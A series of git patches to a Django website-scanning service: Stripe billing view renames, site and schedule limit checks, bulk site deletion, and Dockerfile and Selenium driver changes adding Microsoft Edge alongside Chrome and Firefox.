+    path('subscription/url', views.SubscriptionUrl.as_view(), name='subscription_url'),
+    path('account/activation', views.AccountActivation.as_view(), name='account_activation')
 ]
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index dfbe9eaf..2ab6f0c1 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -21,7 +21,7 @@ def post(self, request):
 
 
 
-class SetupSubscription(APIView):
+class SubscriptionSetup(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
@@ -32,7 +32,7 @@ def post(self, request):
 
 
 
-class CompleteSubscription(APIView):
+class SubscriptionComplete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
@@ -43,7 +43,29 @@ def post(self, request):
 
 
 
-class GetBillingInfo(APIView):
+class SubscriptionUrl(APIView):
+    permission_classes = (IsAuthenticated,)
+    https_method_names = ['get',]
+
+    def get(self, request):
+        response = get_stripe_hosted_url(request)
+        return response
+
+
+
+
+class SubscriptionUpdate(APIView):
+    permission_classes = (IsAuthenticated,)
+    https_method_names = ['get',]
+
+    def get(self, request):
+        response = update_account_with_stripe_redirect(request)
+        return response
+
+
+
+
+class BillingInfo(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
@@ -65,7 +87,7 @@ def post(self, request):
 
 
 
-class CancelSubscription(APIView):
+class SubscriptionCancel(APIView):
     permission_classes = (IsAuthenticated,)
     https_method_names = ['post',]
 
@@ -86,3 +108,4 @@ def get(self, request):
 
 
 
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 0b7523ff..10f5c3ce 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -177,13 +177,6 @@ def check_account_and_resource(
         
         # checking sites
         if resource == 'site':
-            if not site_id:
-                current_count = Site.objects.filter(account=account).count()
-                if current_count >= account.max_sites and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
-                    allowed = False
-                    error = 'max sites reached'
-                    _status = status.HTTP_402_PAYMENT_REQUIRED
-                    code = '402'
             if site_id:
                 if not Site.objects.filter(id=site_id, account=account).exists():
                     allowed = False
@@ -191,33 +184,47 @@ def check_account_and_resource(
                     _status = status.HTTP_404_NOT_FOUND
                     code = '404'
             if site_url:
-                if not Site.objects.filter(site_url=site_url, account=account).exists():
+                current_count = Site.objects.filter(account=account).count()
+                if Site.objects.filter(site_url=site_url, account=account).exists():
                     allowed = False
                     error = 'site already exists'
                     _status = status.HTTP_409_CONFLICT
                     code = '409'
+                elif current_count >= account.max_sites and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
+                    allowed = False
+                    error = 'max sites reached'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
+                elif current_count >= account.max_sites  and action == 'add' and (account.type == 'enterprise' or account.type == 'custom'):
+                    # add to max_sites only for enterprise
+                    account.max_sites += 1
+                    account.max_schedules += 1
+                    account.save()
+                    # update price for sub
+                    update_sub_price.delay(account.id)
         
         # checking schedules
         if resource == 'schedule':
             if not schedule_id:
                 current_count = Schedule.objects.filter(account=account).count()
-                if current_count >= account.max_schedules and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
+                if current_count >= account.max_schedules and action == 'add':
                     allowed = False
                     error = 'max schedules reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
-                if page_id:
+                elif page_id:
                     if not Page.objects.filter(id=page_id, account=account).exists():
                         allowed = False
                         error = 'page not found'
                         _status = status.HTTP_404_NOT_FOUND
                         code = '404'
-                if site_id:
+                elif site_id:
                     if not Site.objects.filter(id=site_id, account=account).exists():
                         allowed = False
                         error = 'site not found'
                         _status = status.HTTP_404_NOT_FOUND
                         code = '404'
+                
             if schedule_id:
                 if not Schedule.objects.filter(id=schedule_id, account=account).exists():
                     allowed = False
@@ -460,7 +467,10 @@ def create_site(request: object, delay: bool=False) -> object:
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, resource='site', action='add')
+    check_data = check_account_and_resource(
+        request=request, resource='site', action='add',
+        site_url=site_url
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
@@ -471,7 +481,8 @@ def create_site(request: object, delay: bool=False) -> object:
         site_url=site_url,
         user=user,
         tags=tags,
-        account=account
+        account=account,
+        time_crawl_started=datetime.now()
     )
 
     # create process obj
@@ -681,28 +692,35 @@ def get_site(request: object, id: str) -> object:
 
 
 
-def delete_site(request: object, id: str) -> object:
+def delete_site(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Site` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object,
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, site_id=id, resource='site')
+    check_data = check_account_and_resource(user=user, site_id=id, resource='site')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
     
     # get site if checks passed
     site = Site.objects.get(id=id)
@@ -723,11 +741,22 @@ def delete_site(request: object, id: str) -> object:
     # remove site
     site.delete()
 
+    # update account if enterprise or custom
+    if account.type == 'enterprise' or account.type == 'custom':
+        account.max_sites -= 1
+        account.max_schedules -= 1
+        account.save()
+
+        # update billing
+        update_sub_price.delay(account_id=account.id)
+
     # returning response
     data = {'message': 'site deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -782,6 +811,16 @@ def delete_many_sites(request: object) -> object:
                 failed.append(str(id))
                 this_status = False
 
+        
+        # update account if enterprise or custom
+        if account.type == 'enterprise' or account.type == 'custom':
+            account.max_sites -= num_succeeded
+            account.max_schedules -= num_succeeded
+            account.save()
+
+            # update billing
+            update_sub_price.delay(account_id=account.id)
+
         # format response
         data = {
             'success': this_status,

From b862e20770faa494b74c09412f0d13926f07e48f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 12 Aug 2024 19:52:10 -0600
Subject: [PATCH 0644/1099] added issue deleter for bulk delete sites

---
 app/api/v1/ops/services.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 10f5c3ce..03dac9c3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -732,11 +732,7 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
     delete_tasks(site=site)
 
     # remove any associated Issues
-    issues = Issue.objects.filter(
-        affected__icontains=id
-    )
-    for issue in issues:
-        issue.delete()
+    issues = Issue.objects.filter(affected__icontains=id).delete()
     
     # remove site
     site.delete()
@@ -799,12 +795,16 @@ def delete_many_sites(request: object) -> object:
             try:
                 site = Site.objects.get(id=id)
                 if site.account == account:
+
+                    # delete site and associated resources
                     delete_site_s3_bg.delay(site_id=id)
                     delete_tasks(site=site)
-                    site.delete()
+                    Issue.objects.filter(affected__icontains=id).delete()
+
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
+
             except:
                 # add to failed attempts
                 num_failed += 1

From 5f668e2348deb435ea4902bfa7dda7d8b15e4f52 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 13 Aug 2024 20:22:51 -0600
Subject: [PATCH 0645/1099] consolidating and adding ms edge

---
 Dockerfile                                    |  60 +++-----
 app/api/models.py                             |  23 +--
 app/api/utils/driver.py                       |  39 ++++-
 app/api/utils/scanner.py                      |  49 +-----
 app/api/utils/tester.py                       |  11 +-
 app/api/utils/yellowlab.py                    |  13 +-
 app/api/v1/billing/services.py                |  19 ++-
 app/api/v1/ops/services.py                    |  29 +++-
 app/scanerr/settings.py                       |   4 +-
 archive/Dockerfile                            |  81 ++++++++++
 Dockerfile.local => archive/Dockerfile.local  |  25 +++-
 archive/docker-compose.dev.yml                | 140 ++++++++++++++++++
 .../scripts => archive}/remote-entrypoint.sh  |   0
 .../requirements.txt                          |  50 +++----
 docker-compose.dev.yml                        |  27 ++--
 docker-compose.local.yml                      |  32 ++--
 docker-compose.prod.yml                       |  20 +--
 docker-compose.stage.yml                      |  31 +---
 env/.env.dev.example                          |   1 +
 env/.env.prod.example                         |   1 +
 env/.env.stage.example                        |   1 +
 notes/Deployment.md                           |  10 +-
 setup/requirements/requirements.txt           |  50 +++----
 setup/scripts/entrypoint.sh                   |  43 ++++++
 setup/scripts/local-entrypoint.sh             |  30 ----
 25 files changed, 492 insertions(+), 297 deletions(-)
 create mode 100644 archive/Dockerfile
 rename Dockerfile.local => archive/Dockerfile.local (74%)
 create mode 100644 archive/docker-compose.dev.yml
 rename {setup/scripts => archive}/remote-entrypoint.sh (100%)
 rename setup/requirements/requirements-staging.txt => archive/requirements.txt (50%)
 create mode 100755 setup/scripts/entrypoint.sh
 delete mode 100755 setup/scripts/local-entrypoint.sh

diff --git a/Dockerfile b/Dockerfile
index 6148fe0b..e83cf789 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,22 +1,7 @@
 # pull main python image
-FROM python:3.9-slim
+FROM python:3.12-slim
 ENV PYTHONUNBUFFERED 1
-
-# increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=20000
-ENV NODE_OPTIONS="--max-old-space-size=20000"
-ENV GENERATE_SOURCEMAP=false
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
-
-# telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/chromium
-ENV DOCKERIZED=yes
-
-# Set up the Chromium environment
-ENV XDG_CONFIG_HOME=/tmp/.chromium
-ENV XDG_CACHE_HOME=/tmp/.chromium
+ENV DEBIAN_FRONTEND noninteractive
 
 # create the app user
 RUN addgroup --system app && adduser --system app 
@@ -26,36 +11,33 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig firefox-esr
+    gfortran openssl libpq-dev curl libjpeg-dev \ 
+    libfontconfig firefox-esr apt-transport-https software-properties-common
 
 # installing google-chrome-stable
 RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
 RUN rm google-chrome-stable_current_amd64.deb
 
-# installing node and npm --> n lts
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n \
-    && n lts
-
-# cleaning npm
-RUN npm cache clean --force
+# installing microsoft-edge-stable
+RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
+    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    apt-get update && apt-get install -y microsoft-edge-stable && \
+    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg
 
-# installing lighthouse
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+# installing node and npm
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n && n lts && npm cache clean --force
 
-# setting --no-sandbox & --disable-dev-shm-usage
-RUN chromium --no-sandbox --version
-RUN chromium --disable-dev-shm-usage  --version
+# installing lighthouse & lighthouse-plugin-crux
+RUN npm install -g lighthouse lighthouse-plugin-crux
 
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
-# removing chromium config
-RUN rm -rf ~/.config/chromium
-
 # setting working dir
 RUN mkdir /app
 COPY ./app /app
@@ -63,11 +45,11 @@ WORKDIR /app
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
-RUN chown -R app:app /usr/bin/chromedriver
-RUN chmod +x /usr/bin/chromedriver
+RUN chown -R app:app /usr/bin/firefox
+RUN chown -R app:app /usr/bin/google-chrome-stable
+RUN chown -R app:app /usr/bin/microsoft-edge-stable
 
 # staring up services
-COPY ./setup/scripts/remote-entrypoint.sh "/remote-entrypoint.sh"
-ENTRYPOINT [ "/remote-entrypoint.sh" ]
+COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
+ENTRYPOINT [ "/entrypoint.sh" ]
 
diff --git a/app/api/models.py b/app/api/models.py
index 236eaa23..a99a2f10 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -18,17 +18,18 @@ def get_info_default():
                 'id': None,
                 'time_created': None,
                 'time_completed': None,
+                'score': None,
             },
             'latest_test': {
                 'id': None,
                 'time_created': None,
                 'time_completed': None,
-                'score': None
+                'score': None,
+                'status': None
             },
             'lighthouse': {
                 'average': None,
                 'seo': None,
-                # 'pwa': None, 
                 'crux': None, 
                 'performance': None, 
                 'accessibility': None, 
@@ -46,12 +47,7 @@ def get_info_default():
                 'badCSS': None,
                 'fonts': None,
                 'serverConfig': None, 
-            },
-            'status': {
-                'health': None,
-                'badge': 'neutral',
-                'score': None,
-            },
+            }
         }
     return info_default
 
@@ -64,18 +60,15 @@ def get_small_info_default():
                 'id': None,
                 'time_created': None,
                 'time_completed': None,
+                'score': None,
             },
             'latest_test': {
                 'id': None,
                 'time_created': None,
                 'time_completed': None,
-                'score': None
-            },
-            'status': {
-                'health': None,
-                'badge': 'neutral',
                 'score': None,
-            },
+                'status': None
+            }
         }
     return info_default
 
@@ -89,7 +82,6 @@ def get_lh_delta_default():
             "performance_delta": None, 
             "accessibility_delta": None, 
             "best-practices_delta": None,
-            # "pwa_delta": None, 
             "crux_delta": None,
             "average_delta" : None,
             "current_average": None, 
@@ -130,7 +122,6 @@ def get_lh_default():
             "performance": None, 
             "accessibility": None, 
             "best_practices": None,
-            # "pwa": None, 
             "crux": None, 
             "average": None
        },
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 4823865f..505cd383 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -36,12 +36,13 @@ def driver_init(
     """
 
     # deciding on browser
+    # UserAgents: https://www.whatismybrowser.com/guides/the-latest-user-agent/
     if browser == 'chrome':
         options = webdriver.ChromeOptions()
         options.binary_location = os.environ.get('CHROME_BROWSER')
         mobile_user_agent = (
-            "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36" + 
-            " (KHTML, like Gecko) Chrome/127.0.6533.84 Mobile Safari/537.36"
+            "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 " + 
+            "(KHTML, like Gecko) Chrome/127.0.6533.84 Mobile Safari/537.36"
         )
     if browser == 'firefox':
         options = webdriver.FirefoxOptions()
@@ -49,6 +50,15 @@ def driver_init(
         mobile_user_agent = (
             "Mozilla/5.0 (Android 14; Mobile; rv:68.0) Gecko/68.0 Firefox/128.0"
         )
+    if browser == 'edge':
+        options = webdriver.EdgeOptions()
+        options.binary_location = os.environ.get('EDGE_BROWSER')
+        mobile_user_agent = (
+            "Mozilla/5.0 (Linux; Android 10; HD1913) AppleWebKit/537.36" +
+            "(KHTML, like Gecko) Chrome/127.0.6533.103 Mobile " +
+            "Safari/537.36 EdgA/127.0.2651.90"
+        )
+
 
     # setting up browser configs
     sizes = window_size.split(',')
@@ -82,7 +92,7 @@ def driver_init(
         # init driver
         driver = webdriver.Chrome(options=options)
     
-    # setting broswer options & profile for firefox
+    # setting broswer options for firefox
     if browser == 'firefox':
         options.add_argument("-headless")
         options.page_load_strategy = 'none'
@@ -97,6 +107,25 @@ def driver_init(
         
         # init driver
         driver = webdriver.Firefox(options=options)
+
+    # setting broswer options for edge
+    if browser == 'edge':
+        options.add_argument("--no-sandbox")
+        options.add_argument("disable-blink-features=AutomationControlled")
+        options.add_argument("--headless")
+        options.add_argument("--disable-dev-shm-usage")
+        options.add_argument("ignore-certificate-errors")
+        options.add_argument("--hide-scrollbars")
+        options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
+        options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
+        options.page_load_strategy = 'none'
+        
+        # setting to mobile if reqeusted
+        if device == 'mobile':
+            options.add_experimental_option("mobileEmulation", mobile_emulation)
+        
+        # init driver
+        driver = webdriver.Edge(options=options)
     
 
     # resizing window
@@ -267,8 +296,8 @@ def get_data(
     except Exception as e:
         print(e)
     
-    # get console logs if chrome
-    if browser == 'chrome':
+    # get console logs if notn firefox
+    if browser != 'firefox' :
         try:
             logs = driver.get_log('browser')
         except Exception as e:
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index dbbfbcab..45592aca 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -137,8 +137,6 @@ def update_site_info(scan: object) -> object:
     """
     
     # setting defaults
-    health = 'No Data'
-    badge = 'neutral'
     score = 0
     site = scan.site
     pages = Page.objects.filter(site=site)
@@ -155,32 +153,15 @@ def update_site_info(scan: object) -> object:
     
     # calc average score
     if len(scans) > 0:
-        score = sum(scans)/len(scans)  
-    if score != 0:
-        if score >= 75:
-            health = 'Good'
-            badge = 'success'
-        elif 75 > score >= 60:
-            health = 'Okay'
-            badge = 'warning'
-        elif 60 > score:
-            health = 'Poor'
-            badge = 'danger'
+        score = sum(scans)/len(scans)
     else:
-        if site.info['status']['score'] is not None:
-            score = float(site.info['status']['score'])
-            health = site.info['status']['health']
-            badge = site.info['status']['badge']
-        else:
-            score = None
-
+        score = None
+        
     # saving new info to site
     site.info['latest_scan']['id'] = str(scan.id)
     site.info['latest_scan']['time_created'] = str(scan.time_created)
     site.info['latest_scan']['time_completed'] = str(scan.time_completed)
-    site.info['status']['health'] = str(health)
-    site.info['status']['badge'] = str(badge)
-    site.info['status']['score'] = score
+    site.info['latest_scan']['score'] = score
     site.save()
 
     # returning site
@@ -201,8 +182,6 @@ def update_page_info(scan: object) -> object:
     """
     
     # setting defaults
-    health = 'No Data'
-    badge = 'neutral'
     d = 0
     score = 0
     page = scan.page
@@ -218,32 +197,16 @@ def update_page_info(scan: object) -> object:
     # calc average health score
     if score != 0:
         score = score / d
-        if score >= 75:
-            health = 'Good'
-            badge = 'success'
-        elif 75 > score >= 60:
-            health = 'Okay'
-            badge = 'warning'
-        elif 60 > score:
-            health = 'Poor'
-            badge = 'danger'
     else:
-        if scan.page.info['status']['score'] is not None:
-            score = float(page.info['status']['score'])
-            health = page.info['status']['health']
-            badge = page.info['status']['badge']
-        else:
-            score = None
+        score = None
 
     # saving new info to page
     page.info['latest_scan']['id'] = str(scan.id)
     page.info['latest_scan']['time_created'] = str(scan.time_created)
     page.info['latest_scan']['time_completed'] = str(scan.time_completed)
+    page.info['latest_scan']['score'] = score
     page.info['lighthouse'] = scan.lighthouse.get('scores')
     page.info['yellowlab'] = scan.yellowlab.get('scores')
-    page.info['status']['health'] = str(health)
-    page.info['status']['badge'] = str(badge)
-    page.info['status']['score'] = score
     page.save()
 
     # returning page
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index f40d7913..42e6b84c 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -637,13 +637,18 @@ def update_site_info(self, test: object) -> object:
         tests = []
         for page in pages:
             if Test.objects.filter(page=page).exists():
-                _test = Test.objects.filter(page=page).order_by('-time_completed')[0]
-                if _test.score is not None:
-                    tests.append(_test.score)
+                _test = Test.objects.filter(page=page).exclude(
+                    time_completed=None
+                ).order_by('-time_completed')
+                if len(_test) > 0:
+                    if _test[0].score is not None:
+                        tests.append(_test.score)
         
         if len(tests) > 0:
+            
             # calc site average of latest
             site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
+            print(f'updating site with new test score -> {site_avg_test_score}')
             
             # update site info
             site.info['latest_test']['id'] = str(test.id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 26ac2702..c6e11480 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -231,16 +231,9 @@ def get_data(self):
         while not scan_complete and attempts < 2:
 
             try:
-                # CLI on first attempt
-                if attempts < 1:
-                    raw_data = self.yellowlab_cli()
-                    self.process_data(stdout_json=raw_data)
-                
-                # API after first attempt
-                if attempts >= 1:
-                    raw_data = self.yellowlab_api()
-                    self.process_data(stdout_json=raw_data)
-
+                # API method only
+                raw_data = self.yellowlab_api()
+                self.process_data(stdout_json=raw_data)
                 scan_complete = True
                 failed = False
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index c2690f60..641a0173 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -70,7 +70,7 @@ def stripe_setup(request: object) -> object:
     client_secret = None
 
     # build Stripe Product name
-    product_name = f'{user.email}_{user.id}_{name}'
+    product_name = f'{name.capitalize()}'
 
     # create new `Account` if none exists
     if not Account.objects.filter(user=user).exists():
@@ -330,7 +330,7 @@ def get_stripe_hosted_url(request: object=None) -> object:
     if account.cust_id is None:
 
         # build product
-        product_name = f'{user.email}_{user.id}_enterprise'
+        product_name = f'Enterprise'
         product = stripe.Product.create(name=product_name)
 
         # calc price_amount
@@ -685,11 +685,24 @@ def get_stripe_invoices(request: object) -> object:
         
         # build list of Stripe Invice objects
         for invoice in invoice_body.data:
+
+            # clean product name
+            product_name = invoice['lines']['data'][0]['description']
+            product_name = product_name.split('1 × ')[1].split(' (')[0]
+
             i_list.append({
                 'id': invoice.id,
                 'status': invoice.status,
                 'price_amount': invoice.amount_paid,
-                'created': invoice.created
+                'created': invoice.created,
+                'due_date': invoice.due_date,
+                'customer_email': invoice.customer_email,
+                'customer_name': invoice.customer_name,
+                'product_name': product_name,
+                'invoice_pdf': invoice.invoice_pdf,
+                'number': invoice.number,
+                'period_start': invoice.period_start,
+                'period_end': invoice.period_end
             })
         
         # format response
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 03dac9c3..269a28e9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1541,10 +1541,20 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         created_scans.append(str(created_scan.id))
         message = 'Scans are being created in the background'
 
-        # add scan_id to page.info.latest_scan.id
+        # updating latest_scan info for page
         p.info['latest_scan']['id'] = str(created_scan.id)
+        p.info['latest_scan']['time_created'] = str(timezone.now())
+        p.info['latest_scan']['time_completed'] = None
+        p.info['status']['score'] = None
+        p.info['status']['score'] = None
         p.save()
 
+        # updating latest_scan info for site
+        p.site.info['latest_scan']['id'] = str(created_scan.id)
+        p.site.info['latest_scan']['time_created'] = str(timezone.now())
+        p.site.info['latest_scan']['time_completed'] = None
+        p.site.save()
+
         # running scans components in parallel 
         if 'html' in types or 'logs' in types or 'full' in types:
             run_html_and_logs_bg.delay(scan_id=created_scan.id)
@@ -2193,6 +2203,22 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
             status='working',
         )
 
+        # updating latest_test info for page
+        p.info['latest_test']['id'] = str(test.id)
+        p.info['latest_test']['time_created'] = str(timezone.now())
+        p.info['latest_test']['time_completed'] = None
+        p.info['latest_test']['score'] = None
+        p.info['latest_test']['status'] = 'working'
+        p.save()
+
+        # updating latest_test info for site
+        p.site.info['latest_test']['id'] = str(test.id)
+        p.site.info['latest_test']['time_created'] = str(timezone.now())
+        p.site.info['latest_test']['time_completed'] = None
+        p.site.info['latest_test']['score'] = None
+        p.site.info['latest_test']['status'] = 'working'
+        p.site.save()
+
         # add test.id to list
         created_tests.append(str(test.id))
 
@@ -5068,6 +5094,7 @@ def search_resources(request: object) -> object:
                 'name': <str>,
                 'type': <str>,
                 'path': <str>,
+                'id'  : <str>,
             }
             ...
         ]
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index b64bec0d..ae8f36da 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -176,11 +176,11 @@
 
 
 # Redis and Celery Config
-# CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_BROKER_URL = "redis://redis:6379"
 
 
 # RabbitMQ and Celery Config
-CELERY_BROKER_URL = "amqp://rabbitmq"
+# CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 # Default primary key field type
diff --git a/archive/Dockerfile b/archive/Dockerfile
new file mode 100644
index 00000000..cf1102d9
--- /dev/null
+++ b/archive/Dockerfile
@@ -0,0 +1,81 @@
+# pull main python image
+FROM python:3.9-slim
+ENV PYTHONUNBUFFERED 1
+
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=20000
+ENV NODE_OPTIONS="--max-old-space-size=20000"
+ENV GENERATE_SOURCEMAP=false
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
+
+# telling phantomas where Chrome binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/chromium
+ENV DOCKERIZED=yes
+
+# Set up the Chromium environment
+ENV XDG_CONFIG_HOME=/tmp/.chromium
+ENV XDG_CACHE_HOME=/tmp/.chromium
+
+# create the app user
+RUN addgroup --system app && adduser --system app 
+
+# installing python3 & pip
+RUN apt-get update && apt-get install -y python3 python3-pip
+
+# installing system deps
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
+    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
+    libfontconfig firefox-esr apt-transport-https software-properties-common
+
+# installing google-chrome-stable
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
+RUN rm google-chrome-stable_current_amd64.deb
+
+# Download and install Microsoft Edge
+RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
+    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    apt-get update && apt-get install -y microsoft-edge-stable && \
+    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg
+
+# installing node and npm --> n lts
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n \
+    && n lts
+
+# cleaning npm
+RUN npm cache clean --force
+
+# installing lighthouse
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+
+# setting --no-sandbox & --disable-dev-shm-usage
+RUN chromium --no-sandbox --version
+RUN chromium --disable-dev-shm-usage  --version
+
+# installing requirements
+COPY ./setup/requirements/requirements.txt /requirements.txt
+RUN python3 -m pip install -r /requirements.txt
+
+# removing chromium config
+RUN rm -rf ~/.config/chromium
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/chromium
+RUN chown -R app:app /usr/bin/chromedriver
+RUN chmod +x /usr/bin/chromedriver
+
+# staring up services
+COPY ./setup/scripts/remote-entrypoint.sh "/remote-entrypoint.sh"
+ENTRYPOINT [ "/remote-entrypoint.sh" ]
+
diff --git a/Dockerfile.local b/archive/Dockerfile.local
similarity index 74%
rename from Dockerfile.local
rename to archive/Dockerfile.local
index a088467e..5ac483bf 100644
--- a/Dockerfile.local
+++ b/archive/Dockerfile.local
@@ -23,20 +23,27 @@ RUN apt-get update && apt-get install -y python3.10 python3-pip
 
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig firefox
-    
-# extra packages
-RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1
-
-# installing node and npm
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n && n lts
+    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig firefox \ 
+    apt-transport-https software-properties-common libglib2.0-0 libsm6 \ 
+    libxrender1 libxext6 libgl1
 
 # installing google-chrome-stable
 RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
 RUN rm google-chrome-stable_current_amd64.deb
 
+# install microsoft-edge-stable
+RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
+    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    apt-get update && apt-get install -y microsoft-edge-stable && \
+    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg
+
+# installing node and npm
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n && n lts
+
 # begin npm portion
 RUN npm cache clean --force
 
@@ -59,6 +66,8 @@ WORKDIR /app
 # setting ownership
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/google-chrome-stable
+RUN chown -R app:app /usr/bin/firefox
